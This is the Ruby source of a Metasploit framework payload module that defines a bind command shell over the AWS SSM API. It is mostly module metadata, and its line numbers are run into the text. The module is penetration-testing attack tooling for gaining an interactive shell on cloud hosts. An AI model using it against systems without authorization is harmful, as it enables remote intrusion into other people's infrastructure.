Path: blob/master/modules/payloads/singles/generic/shell_bind_aws_ssm.rb
21540 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 078include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Command Shell, Bind SSM (via AWS API)',16'Description' => 'Creates an interactive shell using AWS SSM',17'Author' => 'RageLtMan <rageltman[at]sempervictus>',18'References' => [['URL', 'https://www.sempervictus.com/single-post/once-upon-a-cloudy-air-i-crossed-a-gap-which-wasn-t-there']],19'License' => MSF_LICENSE,20'Platform' => '',21'Arch' => ARCH_ALL,22'Handler' => Msf::Handler::BindAwsSsm,23'Session' => Msf::Sessions::AwsSsmCommandShellBind,24'Payload' => {25'Offsets' => {},26'Payload' => ''27}28)29)30end3132def on_session(session)33super3435session.arch.clear # undo the ARCH_ALL amalgamation36end37end383940